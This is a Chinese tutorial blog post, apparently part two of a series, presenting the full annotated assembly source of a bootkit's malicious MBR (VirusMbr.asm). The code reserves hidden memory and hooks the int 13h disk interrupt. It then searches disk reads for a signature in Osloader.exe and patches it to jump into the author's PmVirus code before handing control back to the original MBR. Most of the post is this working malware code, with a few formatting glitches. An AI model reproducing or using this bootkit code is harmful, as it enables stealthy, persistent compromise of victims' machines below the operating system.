小小Bootkit(2)

BootKit之VirusMbr

Sjtujg

先介绍一些关于MBR的基础知识,Bios加电之后选择引导介质(一般是磁盘),如果选择了磁盘,就将磁盘的第一个扇区的内容读入到内存中,然后流程转向执行这部分代码,磁盘的第一个扇区就是我们所说的MBR.MBR的内容有512个字节,其中可执行的代码内容只有400多字节,还有64个字节是磁盘分区表,计算机凭借分区表来选择引导分区,并将其第一个扇区(引导扇区)读入内存中继续引导过程。

现在我们修改了原始的MBR,而将自己的VirusMbr写入磁盘的第一个扇区,这样就可以改变开机的引导流程,只要最后将原来的Mbr(保存在磁盘某个特定位置处)读入内存继续执行,就将流程还给了正确的引导流程。而在VirusMbr流程中所完成的工作就是去hook int13h。下面结合代码来具体分析一下。

VirusMbr.asm

.686p

.mmx

.model tiny

seg000 segment bytepublic 'CODE' use16

assume cs:seg000

assumees:nothing,ss:nothing,ds:nothing,fs:nothing,gs:nothing

ORG 000h

START:

cli

//首先先保存各个段寄存器的值如es,sp,ss

mov word ptrcs:600h,es 

mov word ptrcs:602h,sp

mov word ptrcs:604h,ss

mov dword ptrcs:7FCh,800h

// dwordcs:7fch处的值的高低word值分别赋予sssp,实际上市重写构建了一个堆栈

lss sp,cs:7FCh

pushad

push ds

//在内存中分出32KB驻留代码此时cs:413h处保存的是未使用的内存的地址(以KB为单位),从中减32KB就等于是从内存中划分了32Kb出来,将减去32后的值回写到cs:413h中,那么其他的程序就不会使用到这32kb了。

mov bx,cs:413h

sub bx,0020h

and bl,0FCh    //将所划分出的32KB的内存段的地址的最低的两个bit清零为了4Kb内存对齐(因为下面会涉及到页表,页表是4KB为单位的)

mov cs:413h,bx

shl bx,6 //这里是将存放在bx中的经过4KB内存对齐的内存地址转化为段地址,实际上是将bx左移10bit(因为这个内存地址是以KB为单位,先要乘以1024),再将其除以16也就是右移4bit获得段地址,综合起来就是左移6bit

mov es,bx //将划分出的32kb内存区域的段地址写入es

xor bx,bx

//VirusMBR中的代码用int13h读到驻留区去(也就是刚刚划分出的32kb的区域)Int13h读的目的内存地址是有es:bx表示的bx已经清零,es存放的是划分出的32KB内存块的段地址

mov ax,201h

mov cx,1

mov dx,80h

int 13h

push es

push offset Remote//es和一个代码中的偏移地址压入栈随后用retf指令改变执行流程,计算机从内存中的32KB划分区去执行VirusMbrRemote偏移处向下的代码

retf

Remote:

push cs //在内存32Kb划分区中执行的第一条指令,将cs的内容赋值给ds(也就是那32KB的划分区域的内存地址)

pop ds

//DiskAddressPacket偏移地址处存放的是int13h扩展读所需的参数数据结构

mov si,offsetDiskAddressPacket

mov ax,cs

mov [si+6],ax //设置int13h扩展读内存目的地址的段地址部分,就是内存划分区的段地址

mov ah,42h

mov dl,80h

int 13h

jmp GO_ON

DiskAddressPacket:

db 10h   //此数据结构的字节数16byte

db 0       //总是0

dw 20    //要利用int13h扩展读读入的扇区数

dd 200h //int13h扩展读将磁盘扇区读入内存的目的内存地址

dd 0FFCD8Dh      //int13h扩展读在磁盘上读入扇区的磁盘偏移地址,在Ghost.cpp中设置,类型是qword.

dd 0

GO_ON:        //int13h扩展读之后流程跳到这里继续向下执行,在屏幕上打印一串”!”作为标记

mov ecx,100

mov ebx,1

mov ax,0b800h

mov es,ax

Show:

mov byte ptres:[12*160+ebx*2],'!'

inc ebx

loop Show

push 0

pop es    //es清零

mov eax,dword ptres:4Ch       //int13h中断处理例程的地址存入eax寄存器中

movcs:Pre_Int13h,eax     //将保存好的int13h中断例程地址写入本段代码中的一个偏移地址处

mov word ptres:4Ch,offset Int13hook //重新设置int13h的中断处理例程地址,因为本段VirusMbr代码是读入到内存32KB划分区中的,而现在cs中保存的段地址就是这个划分区的段地址,而新的int13h中断处理例程就保存在这段代码中且偏移地址是int13hook,所以重新设置的int13h中断处理例程的段地址就是cs,而段内偏移地址就是int13hook.

mov word ptres:4Eh,cs

xor ebx,ebx  //ebx中保存32Kb划分区的内存起始地址(用段地址乘以16即可)

mov bx,cs

shl ebx,4

or cs:23ah,ebx//刚才读入了20个磁盘扇区到32KB内存划分区中,其中偏移200h

or cs:379h,ebx处是PmVirus代码的起始地址,这里是在VirusMbr中修改PmVirus在内存中的内容,修改的内容有3处,在接下来的PmVirus部分中的注释会说明

add ebx,204h

mov cs:200h,ebx

mov di,7C00h      //32KB划分出的内存区域中偏移地址为2600h的地方开始copy200h字节至内存地址0000:7c00h处,就是讲原始MBR的内容读到内存0000:7c00h处去执行

mov si,2600h

mov cx,200h

cld

rep movsb

pop ds    //各种恢复现场

popad

lss sp,es:602h

mov es,es:600h

db 0EAh //这个是jmp指令的操作码,和下面的两个word数据合起来就是jmp0000:7c00h这条指令,之所以直接写成操作码形式是因为jmp 后面只能跟一个标号,不能跟立即数,否则编译会不能通过.

dw 7C00h

dw 0000h

//以下的代码不是在VirusMbr中执行的,他们是新的int13h中断处理例程的代码,在VirusMbr中被读入内存,从而驻留在内存32KB划分区中,在以后系统再去调用int13h时实际上是去调用这一部分的代码

Int13hook:

pushf

cmp ah,42h  //首先过滤功能号,如果是int13h读或者扩展读(功能号是42h02h)则进行特殊处理,否则调用原来的int13h处理例程一般处理

je shortInt13hook_Read_Request

cmp ah,02h

je shortInt13hook_Read_Request

popf

db 0EAh

Pre_Int13h dd ?   //这里在之前的VirusMbr中已经被修改成原来的int13h中断处理例程的地址,和前面的db 0eah合起来就是jmp到原来的int13h处理程处。

Int13hook_Read_Request:       //如果是int13h读或者扩展读就执行下面的代码

mov byte ptrcs:[INT13LASTFUNCTION],ah  //此处又是自修改技术,将功能号存储到下面代码某处(这里以**标注)

popf

pushf     //此处将flags寄存器入栈配合下面调用原来的int13h中断处理例程模拟一个int型中断。因为调用的是int型中断处理例程,在最后一定是一个iret操作要将堆栈的内容popflag寄存器中,所以先让flag寄存器入栈

call dword ptrcs:Pre_Int13h

jc shortInt13hook_Ret      //如果调用原来的int13h中断处理例程失败,则直接退出吧

pushf

cli

push es

pusha

mov ah,00h  //**此处的00h就是之前被自修改技术修改的地方,现在是功能号

INT13LASTFUNCTIONEQU $-1

cmp ah,42h

jne shortInt13_notext      //如果是Int13h读就跳到Int13_notext继续执行

lodsw     //接连两个lodsw实际上是调整si指针使其指向int13h扩展读参数数据结构中的读入的目的内存地址

lodsw

les bx,[si]      //es:bx指向int13h扩展读的读入的目的内存地址,这样就和普通的int13h读操作统一起来了

Int13_notext:

test al,al              //如果读入0个字节就退出完成工作,下面的代码是借鉴了BootRoot的代码,就是在Int13h读或者扩展读的目的内存缓冲区内寻找特定的字节序列

8bf085f6742180h,这些字节对应的是下列语句:

; 8BF0       MOV ESI, EAX

; 85F6       TEST ESI, ES

; 7421       JZ $+23h

; 80 3D...     CMP BYTE PTR [ofs32], imm8

然后将8bf085f67421h5个字节改成callXXXX(自己的PmVirus的地址),正好6个字节的操作码.Call15ffh,这样以后用int13h读入Oslaoder.exe时就总动hook了,Osloader.exe在执行的时候流程会转到PmVirus

jle shortInt13hook_Scan_Done

cld

xor cx,cx

mov cl,al

mov al,8Bh

shl cx,9

mov di,bx

Int13hook_Scan_Loop:

repne scasb

jne shortInt13hook_Scan_Done

cmp dword ptres:[di],74F685F0h

jne shortInt13hook_Scan_Loop

cmp word ptres:[di+4],8021h

jne shortInt13hook_Scan_Loop

mov word ptres:[di-1],15FFh

xor eax,eax

mov ax,cs     //这里将cs的值赋给ax,因为系统调用int13h时才会执行到这里的代码,而这里的代码是存放在内存32KB划分区的,所以此处的cs就是之前32KB划分区的段地址,而偏移地址200hPmVirus代码的第一个字节处,此处是一个dword类型值,这个dword值存放的是自己这个dword值下面的第一条PmVirus可执行语句。

shl eax,4

add eax,200h

mov es:[di+1],eax      //此时的eax中装的是PmVirus的开头的dword类型值在内存中的偏移地址,这个dword类型值是PmVirus中第一条可执行指令的内存地址,因为Call XXXX(立即数),其中XXXX会被解释成一个内存地址,然后以间接寻址的方式处理。举例来说如果PmVirus的起始字节内存地址是00001000,那么从0000:1000------0000:1003这四个字节所存储的是0000:1004,而0000:1004处是第一条可执行语句,那么Call 0000:1000代表的是去执行0000:1000中所存储的0000:1004处的指令,也就是第一条可执行指令。

Int13hook_Scan_Done:

popa

pop es

popf

Int13hook_Ret:

retf 2

seg000 ends

end START

现在讲一下内存32KB划分区中的布局,假设所划分的32KB内存区域的段地址是9c00h,那么着32KB中的内容如下(实际上用不到32KB):

9c00h:0000h------9c00h:0200h:VirusMbr的内容

9c00h:0200h------9c00h:0600h:PmVirus的内容

9c00h:0600h------9c00h:2600h:Driver.sys的内容

9c00h:2600h------9c00h:2800h:OriMbr的内容

其中9c00h:0000------9c00h:0200h的VirusMbr的内容是通过int13h读读入的,其余的内容是通过int13h扩展读从磁盘的特定偏移处读入到内存中的(20个扇区).


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值